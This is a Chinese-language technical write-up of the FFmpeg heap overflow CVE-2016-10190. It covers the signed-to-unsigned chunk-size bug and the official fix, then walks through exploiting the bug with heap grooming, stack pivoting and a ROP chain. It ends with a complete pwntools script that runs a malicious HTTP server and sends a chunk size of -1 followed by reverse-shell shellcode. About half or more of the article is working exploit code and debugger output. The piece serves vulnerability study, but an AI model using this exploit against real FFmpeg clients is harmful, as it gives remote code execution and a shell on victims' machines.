來源:阿里聚安全
FFmpeg是一個著名的處理音視頻的開源項目,非常多的播放器、轉(zhuǎn)碼器以及視頻網(wǎng)站都用到了FFmpeg作為內(nèi)核或者是處理流媒體的工具。2016年末paulcher發(fā)現(xiàn)FFmpeg三個堆溢出漏洞分別為CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文對CVE-2016-10190進行了詳細(xì)的分析,是一個學(xué)習(xí)如何利用堆溢出達到任意代碼執(zhí)行的一個非常不錯的案例。
FFmpeg的 Http 協(xié)議的實現(xiàn)中支持幾種不同的數(shù)據(jù)傳輸方式,通過 Http Response Header 來控制。其中一種傳輸方式是transfer-encoding: chunked,表示數(shù)據(jù)將被劃分為一個個小的 chunk 進行傳輸,這些 chunk 都是被放在 Http body 當(dāng)中,每一個 chunk 的結(jié)構(gòu)分為兩個部分,第一個部分是該 chunk 的 data 部分的長度,十六進制,以換行符結(jié)束,第二個部分就是該 chunk 的 data,末尾還要額外加上一個換行符。下面是一個 Http 響應(yīng)的示例。關(guān)于transfer-encoding: chunked更加詳細(xì)的內(nèi)容可以參考這篇文章。
HTTP/1.1 200 OK Server: nginx Date: Sun, 03 May 2015 17:25:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip 1f HW(/IJ 0
漏洞就出現(xiàn)在libavformat/http.c
這個文件中,在http_read_stream
函數(shù)中,如果是以 chunk 的方式傳輸,程序會讀取每個 chunk 的第一行,也就是 chunk 的長度那一行,然后調(diào)用s->chunksize = strtoll(line, NULL, 16);
來計算 chunk size。chunksize 的類型是int64_t
,在下面調(diào)用了FFMIN和 buffer 的 size 進行了長度比較,但是 buffer 的 size 也是有符號數(shù),這就導(dǎo)致了如果我們讓 chunksize 等于-1, 那么最終傳遞給 httpbufread 函數(shù)的 size 參數(shù)也是-1。相關(guān)代碼如下:
s->chunksize = strtoll(line, NULL, 16); av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n", s->chunksize); if (!s->chunksize) return 0; } size = FFMIN(size, s->chunksize);//兩個有符號數(shù)相比較 } //... read_ret = http_buf_read(h, buf, size);//可以傳遞一個負(fù)數(shù)過去
而在 httpbufread 函數(shù)中會調(diào)用 ffurl_read 函數(shù),進一步把 size 傳遞過去。然后經(jīng)過一個比較長的調(diào)用鏈,最終會傳遞到 tcp_read 函數(shù)中,函數(shù)里調(diào)用了 recv 函數(shù)來從 socket 讀取數(shù)據(jù),而 recv 的第三個參數(shù)是 size_t 類型,也就是無符號數(shù),我們把 size 為-1傳遞給它的時候會發(fā)生有符號數(shù)到無符號數(shù)的隱式類型轉(zhuǎn)換,就變成了一個非常大的值 0xffffffff,從而導(dǎo)致緩沖區(qū)溢出。
static int http_buf_read(URLContext *h, uint8_t *buf, int size) { HTTPContext *s = h->priv_data; intlen; /* read bytes from input buffer first */ len = s->buf_end - s->buf_ptr; if (len> 0) { if (len> size) len = size; memcpy(buf, s->buf_ptr, len); s->buf_ptr += len; } else { //... len = ffurl_read(s->hd, buf, size);//這里的 size 是從上面?zhèn)鬟f下來的 static int tcp_read(URLContext *h, uint8_t *buf, int size) { TCPContext *s = h->priv_data; int ret; if (!(h->flags & AVIO_FLAG_NONBLOCK)) { //... } ret = recv(s->fd, buf, size, 0); //最后在這里溢出
可以看到,由有符號到無符號數(shù)的類型轉(zhuǎn)換可以說是漏洞頻發(fā)的重災(zāi)區(qū),寫代碼的時候稍有不慎就可能犯下這種錯誤,而且一些隱式的類型轉(zhuǎn)換編譯器并不會報 warning。如果需要檢測這樣的類型轉(zhuǎn)換,可以在編譯的時候添加-Wconversion -Wsign-conversion這個選項。
官方修復(fù)方案
官方的修復(fù)方法也比較簡單明了,把 HTTPContext 這個結(jié)構(gòu)體中所有和 size,offset 有關(guān)的字段全部改為 unsigned 類型,把 strtoll 函數(shù)改為 strtoull 函數(shù),還有一些細(xì)節(jié)上的調(diào)整等等。這么做不僅補上了這次的漏洞,也防止了類似的漏洞不會再其他的地方再發(fā)生。放上官方補丁的鏈接。
漏洞利用的靶機環(huán)境
操作系統(tǒng):Ubuntu 16.04 x64
FFmpeg版本:3.2.1 (參照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu編譯,需要把官方教程中提及的所有 encoder編譯進去,最好是靜態(tài)編譯。)
這次的漏洞需要我們搭建一個惡意的 Http Server,然后讓我們的客戶端連上 Server,Server 把惡意的 payload 傳輸給 client,在 client 上執(zhí)行任意代碼,然后反彈一個 shell 到 Server 端。
首先我們需要控制返回的 Http header 中包含 transfer-encoding: chunked 字段。
headers = """HTTP/1.1 200 OK Server: HTTPd/0.9 Date: Sun, 10 Apr 2005 20:26:47 GMT Transfer-Encoding: chunked """
然后我們控制 chunk 的 size 為-1, 再把我們的 payload 發(fā)送過去
client_socket.send('-1\n') #raw_input("sleep for a while to avoid HTTPContext buffer problem!") sleep(3) #這里 sleep 很關(guān)鍵,后面會解釋 client_socket.send(payload)
下面我們開始考慮 payload 該如何構(gòu)造,首先我們使用 gdb 觀察程序在 buffer overflow 的時候的堆布局是怎樣的,在我的機器上很不幸的是可以看到被溢出的 chunk 正好緊跟在 top chunk 的后面,這就給我們的利用帶來了困難。接下來我先后考慮了三種思路:
思路一:覆蓋top chunk的size字段
這是一種常見的 glibc heap 利用技巧,是通過把 top chunk 的 size 字段改寫來實現(xiàn)任意地址寫,但是這種方法需要我們能很好的控制 malloc 的 size 參數(shù)。在FFmpeg源代碼中尋找了一番并沒有找到這樣的代碼,只能放棄。
思路二:通過unlink來任意地址寫
這種方法的條件也比較苛刻,首先需要繞過 unlink 的 check,但是由于我們沒有辦法 leak 出堆地址,所以也是行不通的。
思路三:通過某種方式影響堆布局,使得溢出chunk后面有關(guān)鍵結(jié)構(gòu)體
如果溢出 chunk 之后有關(guān)鍵結(jié)構(gòu)體,結(jié)構(gòu)體里面有函數(shù)指針,那么事情就簡單多了,我們只需要覆蓋函數(shù)指針就可以控制 RIP 了??v觀溢出時的整個函數(shù)調(diào)用棧,avio_read->fill_buffer->io_read_packet->…->http_buf_read
,avio_read
函數(shù)和fill_buffer
函數(shù)里面都調(diào)用了AVIOContext::read_packet
這個函數(shù)。我們必須設(shè)法覆蓋 AVIOContext 這個結(jié)構(gòu)體里面的read_packet
函數(shù)指針,但是目前這個結(jié)構(gòu)體是在溢出 chunk 的前面的,需要把它挪到后面去。那么就需要搞清楚這兩個 chunk 被 malloc 的先后順序,以及 mallocAVIOContext 的時候的堆布局是怎么樣的。
int ffio_fdopen(AVIOContext **s, URLContext *h) { //... buffer = av_malloc(buffer_size);//先分配io buffer, 再分配AVIOContext if (!buffer) return AVERROR(ENOMEM); internal = av_mallocz(sizeof(*internal)); if (!internal) goto fail; internal->h = h; *s = avio_alloc_context(buffer, buffer_size, h->flags & AVIO_FLAG_WRITE, internal, io_read_packet, io_write_packet, io_seek);
在ffio_fdopen
函數(shù)中可以清楚的看到是先分配了用于io的 buffer(也就是溢出的 chunk),再分配 AVIOContext 的。程序在 mallocAVIOContext 的時候堆上有一個 large free chunk,正好是在溢出 chunk 的前面。那么只要想辦法在之前把這個 free chunk 給填上就能讓 AVIOContext 跑到溢出 chunk 的后面去了。由于 http_open 是在 AVIOContext 被分配之前調(diào)用的,(關(guān)于整個調(diào)用順序可以參考雷霄華的博客整理的一個FFmpeg的總的流程圖)所以我們可在http_read_header
函數(shù)里面尋找那些能夠影響堆布局的代碼,其中 Content-Type 字段就會為字段值 malloc 一段內(nèi)存來保存。所以我們可以任意填充 Content-Type 的值為那個 free chunk 的大小,就能預(yù)先把 free chunk 給使用掉了。修改后的Http header如下:
headers = """HTTP/1.1 200 OK Server: HTTPd/0.9 Date: Sun, 10 Apr 2005 20:26:47 GMT Content-Type: %s Transfer-Encoding: chunked Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; """ % ('h' * 3120)
其中 Set-Cookie 字段可有可無,只是會影響溢出 chunk 和 AVIOContext 的距離,不會影響他們的前后關(guān)系。
這之后就是覆蓋 AVIOContext 的各個字段,以及考慮怎么讓程序走到自己想要的分支了。經(jīng)過分析我們讓程序再一次調(diào)用fill_buffer,然后走到s->read_packet
那一行是最穩(wěn)妥的。調(diào)試發(fā)現(xiàn)走到那一行的時候我們可以控制的有RIP, RDI, RSI, RDX, RCX 等寄存器,接下來就是考慮怎么 ROP 了。
static void fill_buffer(AVIOContext *s) { intmax_buffer_size = s->max_packet_size ? //可控 s->max_packet_size : IO_BUFFER_SIZE; uint8_t *dst = s->buf_end - s->buffer + max_buffer_size< s->buffer_size ? s->buf_end : s->buffer; //控制這個, 如果等于s->buffer的話,問題是 heap 地址不知道 intlen = s->buffer_size - (dst - s->buffer); //可控 /* can't fill the buffer without read_packet, just set EOF if appropriate */ if (!s->read_packet&& s->buf_ptr>= s->buf_end) s->eof_reached = 1; /* no need to do anything if EOF already reached */ if (s->eof_reached) return; if (s->update_checksum&&dst == s->buffer) { //... } /* make buffer smaller in case it ended up large after probing */ if (s->read_packet&& s->orig_buffer_size&& s->buffer_size> s->orig_buffer_size) { //... } if (s->read_packet) len = s->read_packet(s->opaque, dst, len);
首先要把棧遷移到堆上,由于堆地址是隨機的,我們不知道。所以只能利用當(dāng)時寄存器或者內(nèi)存中存在的堆指針,并且堆指針要指向我們可控的區(qū)域。在寄存器中沒有找到合適的值,但是打印當(dāng)前 stack, 可以看到棧上正好有我們需要的堆指針,指向 AVIOContext 結(jié)構(gòu)體的開頭。接下來只要想辦法找到 pop rsp; ret 之類的 rop 就可以了。
pwndbg> stack 00:0000│rsp 0x7fffffffd8c0 —? 0x7fffffffd900 —? 0x7fffffffd930 —? 0x7fffffffd9d0 ?— ... 01:0008│ 0x7fffffffd8c8 —? 0x2b4ae00 —? 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ?— add rsp, 0x58 02:0010│ 0x7fffffffd8d0 —? 0x7fffffffe200 ?— 0x6 03:0018│ 0x7fffffffd8d8 ?— 0x83d1d51e00000000 04:0020│ 0x7fffffffd8e0 ?— 0x8000 05:0028│ 0x7fffffffd8e8 —? 0x2b4b168 ?— 0x6868686868686868 ('hhhhhhhh') 06:0030│rbp 0x7fffffffd8f0 —? 0x7fffffffd930 —? 0x7fffffffd9d0 —? 0x7fffffffda40 ?— ... 07:0038│ 0x7fffffffd8f8 —? 0x6cfb2c (avio_read+336) ?— movrax, qword ptr [rbp - 0x18]
把棧遷移之后,先利用 add rsp, 0x58; ret 這種蹦床把棧拔高,然后執(zhí)行我們真正的 ROP 指令。由于 plt 表中有 mprotect, 所以可以先將 0x400000 地址處的 page 權(quán)限改為 rwx,再把 shellcode 寫到那邊去,然后跳轉(zhuǎn)過去就行了。最終的堆布局如下:
放上最后利用成功的截圖
啟動惡意的 Server
客戶端連接上 Server
成功反彈 shell
最后附上完整的利用腳本,根據(jù)漏洞作者的 exp 修改而來
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 |
#!/usr/bin/python #coding=utf-8 import re importos import sys import socket import threading from time import sleep frompwn import * bind_ip = '0.0.0.0' bind_port = 12345 headers = """HTTP/1.1 200 OK Server: HTTPd/0.9 Date: Sun, 10 Apr 2005 20:26:47 GMT Content-Type: %s Transfer-Encoding: chunked Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; """ % ('h' * 3120) """ """ elf = ELF('/home/dddong/bin/ffmpeg_g') shellcode_location = 0x00400000 page_size = 0x1000 rwx_mode = 7 gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64'))) pop_rdi = gadget('pop rdi; ret') pop_rsi = gadget('pop rsi; ret') pop_rax = gadget('pop rax; ret') pop_rcx = gadget('pop rcx; ret') pop_rdx = gadget('pop rdx; ret') pop_rbp = gadget('pop rbp; ret') leave_ret = gadget('leave; ret') pop_pop_rbp_jmp_rcx = gadget('pop rbx ; pop rbp ; jmprcx') push_rbx = gadget('push rbx; jmprdi') push_rsi = gadget('push rsi; jmprdi') push_rdx_call_rdi = gadget('push rdx; call rdi') pop_rsp = gadget('pop rsp; ret') add_rsp = gadget('add rsp, 0x58; ret') mov_gadget = gadget('mov qword ptr [rdi], rax ; ret') mprotect_func = elf.plt['mprotect'] #read_func = elf.plt['read'] def handle_request(client_socket): # 0x009e5641: mov qword [rcx], rax ; ret ; (1 found) # 0x010ccd95: push rbx ;jmprdi ; (1 found) # 0x00d89257: pop rsp ; ret ; (1 found) # 0x0058dc48: add rsp, 0x58 ; ret ; (1 found) request = client_socket.recv(2048) payload = '' payload += 'C' * (0x8040) payload += 'CCCCCCCC' * 4 ################################################## #rop starts here payload += p64(add_rsp) # 0x0: 從這里開始覆蓋AVIOContext #payload += p64(0) + p64(1) + 'CCCCCCCC' * 2 #0x8: payload += 'CCCCCCCC' * 4 #0x8: buf_ptr和buf_end后面會被覆蓋為正確的值 payload += p64(pop_rsp) # 0x28: 這里是opaque指針,可以控制rdi和rcx, s->read_packet(opaque,dst,len) payload += p64(pop_pop_rbp_jmp_rcx) # 0x30: 這里是read_packet指針,call *%rax payload += 'BBBBBBBB' * 3 #0x38 payload += 'AAAA' #0x50 must_flush payload += p32(0) #eof_reached payload += p32(1) + p32(0) #0x58 write_flag=1 and max_packet_size=0 payload += p64(add_rsp) # 0x60: second add_esp_0x58 rop to jump to uncorrupted chunk payload += 'CCCCCCCC' #0x68: checksum_ptr控制rdi #payload += p64(push_rdx_call_rdi) #0x70 payload += p64(1) #0x70: update_checksum payload += 'XXXXXXXX' * 9 #0x78: orig_buffer_size # realrop payload starts here # # usingmprotect to create executable area payload += p64(pop_rdi) payload += p64(shellcode_location) payload += p64(pop_rsi) payload += p64(page_size) payload += p64(pop_rdx) payload += p64(rwx_mode) payload += p64(mprotect_func) # backconnectshellcode x86_64: 127.0.0.1:31337 shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"; shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode shellslices = map(''.join, zip(*[iter(shellcode)]*8)) write_location = shellcode_location forshellslice in shellslices: payload += p64(pop_rax) payload += shellslice payload += p64(pop_rdi) payload += p64(write_location) payload += p64(mov_gadget) write_location += 8 payload += p64(pop_rbp) payload += p64(4) payload += p64(shellcode_location) client_socket.send(headers) client_socket.send('-1\n') #raw_input("sleep for a while to avoid HTTPContext buffer problem!") sleep(3) client_socket.send(payload) print "send payload done." client_socket.close() if __name__ == '__main__': s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((bind_ip, bind_port)) s.listen(5) filename = os.path.basename(__file__) st = os.stat(filename) print 'start listening at %s:%s' % (bind_ip, bind_port) while True: client_socket, addr = s.accept() print 'accept client connect from %s:%s' % addr handle_request(client_socket) if os.stat(filename) != st: print 'restarted' sys.exit(0) |
這次的漏洞利用過程讓我對 FFmpeg 的源代碼有了更為深刻的理解。也學(xué)會了如何通過影響堆布局來簡化漏洞利用的過程,如何棧遷移以及編寫 ROP。
在 pwn 的過程中,閱讀源碼來搞清楚 malloc 的順序,使用gdb插件(如libheap)來顯示堆布局是非常重要的,只有這樣才能對癥下藥,想明白如何才能調(diào)整堆的布局。如果能夠有插件顯示每一個 malloc chunk 的函數(shù)調(diào)用棧就更好了,之后可以嘗試一下 GEF 這個插件。
1 https://trac.ffmpeg.org/ticket/5992
2 http://www.openwall.com/lists/oss-security/2017/01/31/12
3 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190
4 官方修復(fù)鏈接:https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa
5 https://security.tencent.com/index.php/blog/msg/116
6 Transfer-encoding介紹:https://imququ.com/post/transfer-encoding-header-in-http.html
7 漏洞原作者的 exp :https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6
8 FFmpeg源代碼結(jié)構(gòu)圖:http://blog.csdn.net/leixiaohua1020/article/details/44220151
9 https://docs.pwntools.com/en/stable/index.html